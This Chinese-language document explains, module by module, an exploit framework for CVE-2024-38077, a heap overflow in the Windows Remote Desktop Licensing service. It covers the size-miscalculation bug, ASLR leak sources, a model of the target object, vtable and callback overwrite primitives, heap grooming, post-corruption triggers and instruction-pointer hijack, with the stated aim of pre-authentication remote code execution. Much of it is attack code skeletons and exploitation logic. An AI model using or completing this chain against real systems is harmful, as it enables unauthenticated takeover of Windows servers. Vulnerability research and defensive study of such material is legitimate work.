模块化利用框架,用于 CVE-2024-38077(Windows RDL 堆溢出),具备 ASLR 绕过、堆风水、ROP 链生成以及 DLL 注入载荷,实现预认证远程代码执行。
本文档解释框架的每个组件、为什么存在以及如何在现代 Windows 上利用堆缓冲区溢出。
Windows 远程桌面授权服务 (lserver.exe) 在 CDataCoding::DecodeData 函数中存在堆缓冲区溢出。
┌─────────────────────────────────────────────────────────────┐
│ 漏洞:大小计算错误 │
├─────────────────────────────────────────────────────────────┤
│ 1. 客户端发送大小为 N 的 Base64 数据 │
│ 2. 服务端计算:buffer_size = (N / 4) * 3 │
│ 3. 服务端分配 'buffer_size' 字节的缓冲区 │
│ 4. 实际 Base64 解码写入:ceil(N * 3/4) 字节 │
│ 5. 若 N 不是 4 的倍数:溢出! │
└─────────────────────────────────────────────────────────────┘
具体示例:
(4001 / 4) * 3 = 1000 * 3 = 3000 字节分配ceil(4001 * 0.75) = 3001 字节写入┌─────────────────────────────────────────────────────────────────┐
│ 利用链 │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│ LEAK │ MODEL │ WRITE │ GROOM │ TRIGGER │ EXECUTE │
│ (ASLR) │ (Target) │ (Where) │ (Heap) │ (Use) │ (RCE) │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py │target_ │write_ │heap_ │trigger │code_ │
│ │model.py │primitive │controller│py │reuse.py │
│ │ │.py │.py │ │ │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
↓ ↓
┌───────────┐ ┌──────────────┐
│ execution │ │ payload │
│ .py │ │ .py │
└───────────┘ └──────────────┘
↓ ↓
┌───────────────────────────────────────────────────────────┐
│ mitigations.py │
│ (DEP、ASLR、CFG 感知) │
└───────────────────────────────────────────────────────────┘
↓
┌───────────────────────────────────────────────────────────┐
│ exploit.py │
│ (编排器) │
└───────────────────────────────────────────────────────────┘
primitives.py - 基础内存操作的低级工具。
利用需要:
# Pack/Unpack - 整数转字节及反向
p64(0xDEADBEEF) # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141) # → b'AAAA'
u64(b'\x41\x42...') # → 0x... (int)
# 循环模式 - 用于识别崩溃偏移
cyclic(100) # 生成德布鲁因序列
cyclic_find(pattern, value) # 查找值的偏移
# 对齐 - 内存需对齐
align(0x1003, 0x10) # → 0x1010(对齐到 16 字节)
实际问题:你导致崩溃,RIP 包含 0x61616171。
cyclic_find(pattern, 0x61616171) → 精确偏移!leak.py - 绕过 ASLR地址空间布局随机化:每次启动/执行,地址都会改变。
启动 1:ntdll.dll @ 0x7FFA12340000
启动 2:ntdll.dll @ 0x7FFB98760000
启动 3:ntdll.dll @ 0x7FFC55550000
不知道内存位置:
class LeakInfo:
"""泄露地址的容器"""
heap_base: int # 堆基址
ntdll_base: int # ntdll.dll 基址
kernel32_base: int # kernel32.dll 基址
# ...
class LeakProvider:
"""泄露源协调器"""
sources: List[LeakSource]
def obtain() -> LeakInfo:
# 依次尝试每个泄露源直到成功
| 源 | 工作原理 | 何时使用 |
|---|---|---|
ManualLeakSource | 用户提供地址 | 实验室/调试,可访问目标 |
ResponseLeakSource | 从 RPC 响应中提取 | 服务泄漏指针时 |
TimingLeakSource | 时间侧信道 | 理论性,非常困难 |
在演示/实验室中,你可以:
--ntdll-base 0x7ffa... 提供这模拟了实际泄露,允许测试链条的其余部分。
target_model.py - 目标映射易受攻击及相邻数据结构建模。
溢出 ≠ 利用。我们需要知道:
class VulnerableBuffer:
"""将发生溢出的缓冲区"""
allocation_size: int # 已分配多少
write_size: int # 将写入多少
overflow_amount: int # 差值 = 溢出
def calculate_overflow(input_size):
# 模拟计算错误
alloc = (input_size // 4) * 3
actual = ((input_size + 3) // 4) * 3
return alloc, actual, actual - alloc
class AdjacentObject:
"""将被破坏的对象(堆上的相邻对象)"""
fields: List[StructField]
has_vtable: bool # 是否有虚函数表?
has_function_ptr: bool # 是否有函数指针?
# 基于逆向分析的假设对象
license_req = AdjacentObject(
name="CLicenseRequest",
typical_size=0x100,
has_vtable=True
)
# 映射的字段
license_req.add_field("vtable", 0x00, 8, VTABLE, is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)
is_target=True?标记对利用有用的字段:
vtable:如果覆盖,则控制方法调用callback:如果覆盖,则控制回调触发时机write_primitive.py - 受控写入溢出写入连续数据。但我们需要:
class WritePrimitive:
def build_overflow_data(self) -> bytes:
"""
构建包含精确值的溢出缓冲区
布局:
[填充至偏移] [受控值] [更多数据]
"""
data = bytearray(b"A" * max_offset)
for target in self.targets:
# 在精确偏移处放置精确值
data[target.offset:target.offset+8] = p64(target.value)
return bytes(data)
# 覆盖虚函数表
write_primitive.set_vtable_overwrite(
vtable_addr=fake_vtable_address,
obj_name="CLicenseRequest"
)
# 覆盖回调
write_primitive.set_callback_overwrite(
callback_addr=gadget_address
)
| 写入 | 结果 |
|---|---|
| AAAA... | 崩溃但无控制 |
| 精确偏移处的精确地址 | 受控执行 |
heap_controller.py - 堆 GroomingWindows 使用 LFH(低碎片堆) 和 段堆:
Grooming = 按摩堆以获得确定性布局。
GROOMING 前:
┌────┬────┬────┬────┬────┬────┐
│ ?? │ ?? │ ?? │ ?? │ ?? │ ?? │
└────┴────┴────┴────┴────┴────┘
随机分配,不可预测的空洞
GROOMING 后:
┌────┬────┬────┬────┬────┬────┐
│SPAM│SPAM│HOLE│SPAM│SPAM│HOLE│
└────┴────┴────┴────┴────┴────┘
受控布局,按需的“空洞”
class HeapLayoutController:
def execute_full_groom(self):
# 阶段 1:填充现有空洞
self.phase_fill(50)
# 阶段 2:激活目标桶的 LFH
# (Windows 约在相同大小分配 17 次后激活 LFH)
self.phase_activate_lfh()
# 阶段 3:Spray - 创建密集模式
sprayed = self.phase_spray(200)
# 阶段 4:创建战略空洞
# 每隔 N 个分配释放一个
self.phase_create_holes(sprayed, interval=4)
# 阶段 5:稳定
self.phase_stabilize()
trigger.py - 破坏后触发破坏已发生。然后呢?
当前状态:
- 内存已破坏 ✓
- 恶意值已写入 ✓
- 但还没人”使用“这个值!
我们需要程序读取并使用被破坏的数据。
class PostCorruptionTrigger:
strategies: List[TriggerStrategy]
# 实现的策略:
class SecondRequestTrigger:
"""发起第二次 RPC 调用,使用被破坏的对象"""
class DestructorTrigger:
"""断开连接 - 强制清理使用被破坏的指针"""
class TimerTrigger:
"""等待内部定时器处理被破坏的状态"""
1. 第一次 RPC 调用 → 破坏发生
2. 断开连接 (trigger) → 服务端调用析构函数
3. 析构函数读取被破坏的虚函数表 → 调用我们的地址
4. 受控执行!
execution.py - 流程控制RIP(x64)或 EIP(x86)= 指令指针
如果我们控制指令指针,我们就控制了执行。
class HijackMethod(Enum):
VTABLE = 0 # 堆溢出中最常见
FUNCTION_PTR = 1 # 回调指针
RETURN_ADDR = 2 # 栈溢出(不是我们的情况)